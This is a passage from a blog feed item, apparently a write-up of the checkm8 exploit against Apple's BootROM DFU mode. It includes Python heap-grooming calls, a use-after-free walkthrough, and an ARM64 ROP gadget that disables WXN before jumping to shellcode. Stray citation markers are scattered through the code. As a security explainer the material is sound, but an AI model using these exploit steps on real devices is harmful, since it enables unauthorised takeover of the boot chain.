stall(device) # [cite: 552]<br>    leak(device) # [cite: 553]<br>    for i in range(6): # [cite: 554]<br>        no_leak(device) # [cite: 555]<br>        dfu.usb_reset(device) # [cite: 556]<br>        dfu.release_device(device) # [cite: 556]<br>    <br>    # This sequence creates predictable &quot;holes&quot; in the heap<br>    # ensuring our target object lands at offset 0x5c0 [cite: 621]<br>    # ...</pre><h3>Phase 2: The UAF Trigger</h3><p>We initiate a DFU image upload but ensure it remains incomplete. The DFU mode is reset, freeing the io_buffer. However, the global state variables <em>still point to this old address</em>. This is the dangling pointer we need.</p><h3>Phase 3: Hijacking Execution</h3><p>Using the stale pointer, we overwrite the usb_device_io_request structure that now occupies that memory slot. We specifically target the callback and next function pointers. Instead of a standard cleanup function, we redirect execution to a <strong>callback chain</strong> we placed in memory.</p><h3>Phase 4: The Payload (Shellcode)</h3><p>The callback chain executes a series of ROP (Return-Oriented Programming) gadgets to prepare the environment for our unsigned code. The most critical step is disabling WXN (Write XOR Execute) protection, which we achieve by manipulating the TTBR0_EL1 register and the System Control Register.</p><p>Here is the ARM64 assembly gadget we identified that performs this critical task:</p><p>Code snippet</p><pre>; 0x1820B0610 - disable_wxn_arm64 gadget [cite: 764]</pre><pre>MOV X1, #0x180000000        ; Base address [cite: 765]<br>ADD X2, X1, #0xA0000        ; Calculate offset [cite: 766]<br>ADD X1, X1, #0x625          ; Set permission bits [cite: 767]<br>STR X1, [X2, #0x600]        ; Overwrite translation table entry [cite: 768]<br>DMB SY                      ; Data Memory Barrier [cite: 769]<br>MOV X0, #0x100D             ; Value to disable WXN [cite: 770]<br>MSR SCTLR_EL1, X0           ; Write to System Control Register [cite: 771]<br>DSB SY                      ; [cite: 772]<br>ISB                         ; [cite: 773]<br>RET                         ; [cite: 774]</pre><p>Once WXN is disabled, the chain restores the original translation table to keep the BootROM happy and jumps to our shellcode at 0x1800B0000. Our shellcode then patches the USB descriptors and modifies the serial number to &quot;PWND: [checkm8]&quot;—the signal that we have successfully taken control of the device.</p><h3>Conclusion</h3><p>This project was a rigorous exercise in understanding how deeply integrated software and hardware must be synchronized. The vulnerability in the DFU mode highlights that even the most secure “Root of Trust” is only as strong as its assumption that software states match hardware reality.</p><p>Because this code is burned into the Mask ROM, Apple cannot fix it on existing devices. It remains a permanent testament to the complexity of USB stacks and the unforgiving nature of embedded security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d3dae2a2075" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>